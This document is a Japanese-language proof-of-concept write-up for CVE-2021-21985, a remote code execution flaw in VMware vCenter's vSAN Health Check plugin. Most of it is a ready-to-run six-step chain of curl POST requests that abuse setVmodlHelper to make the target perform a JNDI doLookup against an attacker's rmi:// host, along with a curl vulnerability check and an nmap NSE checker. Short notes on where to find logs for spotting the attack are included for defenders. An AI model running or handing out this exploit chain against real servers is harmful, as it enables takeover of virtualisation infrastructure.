CVE-2021-21985（脆弱コード）

06_test_class_method

PoC用のサンプルとして利用可能なCLASS/METHOD(s): com.vmware.vsan.client.services.capability.VsanCapabilityProvider

[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]

CVE-2021-21985（PoC）

vSphere Client（HTML5）には、vCenter Serverでデフォルトで有効になっているVirtual SAN Health Checkプラグインの入力検証が不十分なため、リモートコード実行の脆弱性が存在します。

この手動検査は、vCenterでデフォルトで利用可能なCLASS/METHOD(s)（例: "/ui/h5-vsan/rest/*"）に基づいてCVE-2021-21985の存在を確認します。POSTリクエストを送信し、レスポンスボディ（200）のJSONデータを探します。

手動検査:

# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

03_curl

PoCエクスプロイト公開（1）

クレジット: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

再現手順:

対象システム（vCenter）からの接続を受信するためにPythonサーバーを起動します。例:

# python3 -m http.server 9090

ステップ1: TargetObject を null に設定

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

ステップ2: setStaticMethod をペイロードに設定

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

ステップ3: setTargetMethod を doLookup に設定

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

ステップ4: setArguments をペイロード引数で設定

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

ステップ5: 初期ペイロードクラスとメソッド

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

ステップ6: invokeメソッドをトリガーします。このPOST後、数秒待つとPythonサーバーのログが確認できます。

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

exploit_01

参考リンク:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

CVE-2021-21985（NSEチェッカー）

このスクリプトは、vCenterでデフォルトで利用可能なCLASS/METHOD(s)（例: "/ui/h5-vsan/rest/*"）に基づいてCVE-2021-21985の存在を確認します。POSTリクエストを送信し、レスポンスボディ（200）のJSONデータを探します。

使用方法

# nmap -p443 --script CVE-2021-21985.nse <target>

出力

---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT    STATE SERVICE
-- 443/tcp open  https
-- | CVE-2021-21985: 
-- |   VULNERABLE:
-- |   vCenter 6.5-7.0 RCE
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2021-21985
-- |       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input 
-- |       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- |     Disclosure date: 2021-05-28
-- |     References:
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985

CVE-2021-21985

vCenter vSAN Health（コンソールログ）

vCenter のログパス

# /var/log/vmware/vsan-health/

03_vSAN-health

vSphere Client（コンソールログ）

攻撃の監視

# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

04_monitoring

著者

Alex Hernandez 別名 (@_alt3kx_)

CVE-2021-21985_PoC

人気